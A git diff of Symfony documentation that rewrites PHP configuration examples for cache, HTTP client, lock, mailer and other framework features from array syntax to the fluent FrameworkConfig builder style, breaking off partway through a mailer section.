diff --git a/cache.rst b/cache.rst
index 6eb17035e5f..f9a8c42b554 100644
--- a/cache.rst
+++ b/cache.rst
@@ -85,12 +85,15 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->app('cache.adapter.filesystem')
+                ->system('cache.adapter.system')
+            ;
+        };
+
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -165,23 +168,24 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
+        use Symfony\Config\FrameworkConfig;
 
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                // Only used with cache.adapter.filesystem
+                ->directory('%kernel.cache_dir%/pools')
                 // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
+                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
+                ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
+                ->defaultRedisProvider('redis://localhost')
                 // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
+                ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+                ->defaultPdoProvider('doctrine.dbal.default_connection')
+            ;
+        };
 
 .. _cache-create-pools:
 
@@ -267,43 +271,36 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
-
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
-
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
-
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
-
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $cache = $framework->cache();
+            $cache->defaultMemcachedProvider('memcached://localhost');
+
+            // creates a "custom_thing.cache" service
+            // autowireable via "CacheInterface $customThingCache"
+            // uses the "app" cache configuration
+            $cache->pool('custom_thing.cache')
+                ->adapters(['cache.app']);
+
+            // creates a "my_cache_pool" service
+            // autowireable via "CacheInterface $myCachePool"
+            $cache->pool('my_cache_pool')
+                ->adapters(['cache.adapter.filesystem']);
+
+            // uses the default_memcached_provider from above
+            $cache->pool('acme.cache')
+                ->adapters(['cache.adapter.memcached']);
+
+             // control adapter's configuration
+            $cache->pool('foobar.cache')
+                ->adapters(['cache.adapter.memcached'])
+                ->provider('memcached://user:password@example.com');
+
+            $cache->pool('short_cache')
+                ->adapters(['foobar.cache'])
+                ->defaultLifetime(60);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
@@ -442,26 +439,25 @@ and use that when configuring the pool.
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Adapter\RedisAdapter;
-
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.my_redis')
+                    ->adapters(['cache.adapter.redis'])
+                    ->provider('app.my_custom_redis_provider');
+
+
+            $container->register('app.my_custom_redis_provider', \Redis::class)
+                ->setFactory([RedisAdapter::class, 'createConnection'])
+                ->addArgument('redis://localhost')
+                ->addArgument([
+                    'retry_interval' => 2,
+                    'timeout' => 10
+                ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -521,20 +517,19 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->defaultLifetime(31536000) // One year
+                    ->adapters([
+                        'cache.adapter.array',
+                        'cache.adapter.apcu',
+                        ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                    ])
+            ;
+        };
 
 Using Cache Tags
 ----------------
@@ -613,16 +608,15 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags(true)
+                    ->adapters(['cache.adapter.redis'])
+            ;
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -663,19 +657,20 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags('tag_pool')
+                    ->adapters(['cache.adapter.redis'])
+            ;
+
+            $framework->cache()
+                ->pool('tag_pool')
+                    ->adapters(['cache.adapter.apcu'])
+            ;
+        };
 
 .. note::
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8187364c152..d1be0338448 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -44,11 +44,15 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                'http_port' => '%env(int:HTTP_PORT)%',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()
+                ->httpPort(env('HTTP_PORT')->int())
+            ;
+        };
 
 Built-In Environment Variable Processors
 ----------------------------------------
@@ -90,10 +94,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(SECRET)', 'some_secret');
-            $container->loadFromExtension('framework', [
-                'secret' => '%env(string:SECRET)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
+                $framework->secret(env('SECRET')->string());
+            };
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
@@ -131,10 +140,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
-            $container->loadFromExtension('framework', [
-                'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+                $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
+            };
 
 ``env(not:FOO)``
 
@@ -269,10 +283,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(json:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            };
 
 ``env(resolve:FOO)``
     If the content of ``FOO`` includes container parameters (with the syntax
@@ -353,10 +372,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            };
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f60d1ca8..66e9aae2bbe 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -234,12 +234,15 @@ because the configuration started to get bigger:
     .. code-block:: php
 
         // config/framework.php
-        $container->loadFromExtension('framework', [
-            'secret' => 'S0ME_SECRET',
-            'profiler' => [
-                'only_exceptions' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->secret('SOME_SECRET')
+                ->profiler()
+                    ->onlyExceptions(false)
+            ;
+        };
 
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index fef0d7756fb..6f56f4b54a4 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -186,11 +186,13 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'default_path' => '%kernel.project_dir%/i18n',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->defaultPath('%kernel.project_dir%/i18n')
+            ;
+        };
 
 .. _override-web-dir:
 .. _override-the-web-directory:
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 299d36326fc..8db723d63de 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -308,13 +308,15 @@ The secrets system is enabled by default and some of its behavior can be configu
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'secrets' => [
-                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
-                // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local',
-                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->secrets()
+                // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
+                // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
+                // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
+            ;
+        };
 
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 337723d8605..fabea2dcd22 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -273,10 +273,12 @@ configuration option to point to it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'error_controller' => 'App\Controller\ErrorController::show',
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework->errorController('App\Controller\ErrorController::show');
+        };
 
 The :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
 class used by the FrameworkBundle as a listener of the ``kernel.exception`` event creates
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 49aa04c8361..62d5c182c1e 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -68,16 +68,18 @@ and what headers your reverse proxy uses to send information:
     .. code-block:: php
 
         // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Request;
-
-        $container->loadFromExtension('framework', [
-            // the IP address (or range) of your proxy
-            'trusted_proxies' => '192.0.0.1,10.0.0.0/8',
-            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
-            // or, if your proxy instead uses the "Forwarded" header
-            'trusted_headers' => ['forwarded'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                // the IP address (or range) of your proxy
+                ->trustedProxies('192.0.0.1,10.0.0.0/8')
+                // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
+                ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'])
+                // or, if your proxy instead uses the "Forwarded" header
+                ->trustedHeaders(['forwarded'])
+            ;
+        };
 
 .. deprecated:: 5.2
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index bf5f82fd9f4..336acfbd295 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -190,12 +190,13 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
 
         // config/packages/framework.php
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
+        use Symfony\Config\FrameworkConfig;
 
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version_strategy' => GulpBusterVersionStrategy::class,
-            ],
-        ]);
+            $framework->assets()
+                ->versionStrategy(GulpBusterVersionStrategy::class)
+            ;
+        };
 
 .. _`gulp-buster`: https://www.npmjs.com/package/gulp-buster
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 6108df41f49..a166a01762e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -88,10 +88,13 @@ First, to use ESI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'esi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()
+                ->enabled(true)
+            ;
+        };
 
 Now, suppose you have a page that is relatively static, except for a news
 ticker at the bottom of the content. With ESI, you can cache the news ticker
@@ -225,10 +228,14 @@ that must be enabled in your configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()
+                ->path('/_fragment')
+            ;
+        };
 
 One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 94bab702db4..f7cb9671b54 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -76,9 +76,13 @@ First, to use SSI, be sure to enable it in your application configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ssi' => ['enabled' => true],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ssi()
+                ->enabled(true)
+            ;
+        };
 
 Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
@@ -86,7 +90,7 @@ on this block and keep the page private::
 
     // src/Controller/ProfileController.php
     namespace App\Controller;
-    
+
     // ...
     class ProfileController extends AbstractController
     {
diff --git a/http_client.rst b/http_client.rst
index e52f3d4940e..dc4018760fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -123,13 +123,14 @@ You can configure the global options using the ``default_options`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'max_redirects' => 7,
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->maxRedirects(7)
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -183,12 +184,14 @@ The HTTP client also has one configuration option called
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'max_host_connections' => 10,
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->maxHostConnections(10)
                 // ...
-            ],
-        ]);
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -264,32 +267,26 @@ autoconfigure the HTTP client based on the requested URL:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    // only requests matching scope will use these options
-                    'github' => [
-                        'scope' => 'https://api\.github\.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-
-                    // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
-                    // will default to these options
-                    'github' => [
-                        'base_uri' => 'https://api.github.com',
-                        'headers' => [
-                            'Accept' => 'application/vnd.github.v3+json',
-                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
-                        ],
-                        // ...
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // only requests matching scope will use these options
+            $framework->httpClient()->scopedClient('github')
+                ->scope('https://api\.github\.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+
+            // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+            // will default to these options
+            $framework->httpClient()->scopedClient('github')
+                ->baseUri('https://api.github.com')
+                ->header('Accept', 'application/vnd.github.v3+json')
+                ->header('Authorization', 'token %env(GITHUB_API_TOKEN)%')
+                // ...
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -432,24 +429,21 @@ each request (which overrides any global authentication):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'scoped_clients' => [
-                    'example_api' => [
-                        'base_uri' => 'https://example.com/',
+        use Symfony\Config\FrameworkConfig;
 
-                        // HTTP Basic authentication
-                        'auth_basic' => 'the-username:the-password',
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()->scopedClient('example_api')
+                ->baseUri('https://example.com/')
+                // HTTP Basic authentication
+                ->authBasic('the-username:the-password')
 
-                        // HTTP Bearer authentication (also called token authentication)
-                        'auth_bearer' => 'the-bearer-token',
+                // HTTP Bearer authentication (also called token authentication)
+                ->authBearer('the-bearer-token')
 
-                        // Microsoft NTLM authentication
-                        'auth_ntlm' => 'the-username:the-password',
-                    ],
-                ],
-            ],
-        ]);
+                // Microsoft NTLM authentication
+                ->authNtlm('the-username:the-password')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -537,15 +531,14 @@ Use the ``headers`` option to define the default headers added to all requests:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'headers' => [
-                        'User-Agent' => 'My Fancy App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->header('User-Agent', 'My Fancy App')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -882,13 +875,14 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'default_options' => [
-                    'http_version' => '2.0',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->httpVersion('2.0')
+            ;
+        };
 
     .. code-block:: php-standalone
 
@@ -1733,11 +1727,13 @@ Then configure Symfony to use your callback:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'http_client' => [
-                'mock_response_factory' => MockClientCallback::class,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->mockResponseFactory(MockClientCallback::class)
+            ;
+        };
 
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
diff --git a/lock.rst b/lock.rst
index db987f1d20e..8e64d42249f 100644
--- a/lock.rst
+++ b/lock.rst
@@ -129,32 +129,33 @@ this behavior by using the ``lock`` key like:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => null,
-            'lock' => 'flock',
-            'lock' => 'flock:///path/to/file',
-            'lock' => 'semaphore',
-            'lock' => 'memcached://m1.docker',
-            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
-            'lock' => 'redis://r1.docker',
-            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
-            'lock' => 'zookeeper://z1.docker',
-            'lock' => 'zookeeper://z1.docker,z2.docker',
-            'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
-            'lock' => 'mysql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql:host=127.0.0.1;dbname=app',
-            'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock',
-            'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
-            'lock' => 'oci:host=127.0.0.1;dbname=app',
-            'lock' => 'mongodb://127.0.0.1/app?collection=lock',
-            'lock' => '%env(LOCK_DSN)%',
-
-            // named locks
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['flock'])
+                ->resource('default', ['flock:///path/to/file'])
+                ->resource('default', ['semaphore'])
+                ->resource('default', ['memcached://m1.docker'])
+                ->resource('default', ['memcached://m1.docker', 'memcached://m2.docker'])
+                ->resource('default', ['redis://r1.docker'])
+                ->resource('default', ['redis://r1.docker', 'redis://r2.docker'])
+                ->resource('default', ['zookeeper://z1.docker'])
+                ->resource('default', ['zookeeper://z1.docker,z2.docker'])
+                ->resource('default', ['sqlite:///%kernel.project_dir%/var/lock.db'])
+                ->resource('default', ['mysql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['pgsql+advisory:host=127.0.0.1;dbname=lock'])
+                ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
+                ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
+                ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
+                ->resource('default', ['%env(LOCK_DSN)%'])
+
+                // named locks
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore'])
+            ;
+        };
 
 Locking a Resource
 ------------------
@@ -269,12 +270,15 @@ provides :ref:`named lock <reference-lock-resources-name>`:
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => [
-                'invoice' => ['semaphore', 'redis://r2.docker'],
-                'report' => 'semaphore',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('invoice', ['semaphore', 'redis://r2.docker'])
+                ->resource('report', ['semaphore']);
+            ;
+        };
+
 
 Each name becomes a service where the service id is part of the name of the
 lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
diff --git a/mailer.rst b/mailer.rst
index f772dba65af..2a7329caacc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -510,20 +510,20 @@ and headers.
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'envelope' => [
-                    'sender' => 'fabien@example.com',
-                    'recipients' => ['foo@example.com', 'bar@example.com'],
-                ],
-                'headers' => [
-                    'from' => 'Fabien <fabien@example.com>',
-                    'bcc' => 'baz@example.com',
-                    'X-Custom-Header' => 'foobar',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $mailer = $framework->mailer();
+            $mailer
+                ->envelope()
+                    ->sender('fabien@example.com')
+                    ->recipients(['foo@example.com', 'bar@example.com'])
+            ;
+
+            $mailer->header('from')->value('Fabien <fabien@example.com>');
+            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('X-Custom-Header')->value('foobar');
+        };
 
 .. versionadded:: 5.2
 
@@ -1092,15 +1092,14 @@ This can be configured by replacing the ``dsn`` configuration entry with a
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'mailer' => [
-                'transports' => [
-                    'main' => '%env(MAILER_DSN)%',
-                    'alternative' => '%env(MAILER_DSN_IMPORTANT)%',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->transport('main', '%env(MAILER_DSN)%')
+                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+            ;
+        };
 
 By default the first transport is used. The other transports can be used by
 adding a text header ``X-Transport`` to an email::
@@ -1163,16 +1162,17 @@ you have a transport called ``async``, you can route the message there:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                ],
-                'routing' => [
-                    'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+
+            $framework->messenger()
+                ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
+                ->senders(['async']);
+        };
+
 
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
@@ -1213,11 +1213,12 @@ disable asynchronous delivery.
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'message_bus' => 'app.another_bus',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->messageBus('app.another_bus');
+        };
 
 .. versionadded:: 5.1
 
@@ -1300,12 +1301,13 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
     .. code-block:: php
 
         // config/packages/mailer.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'mailer' => [
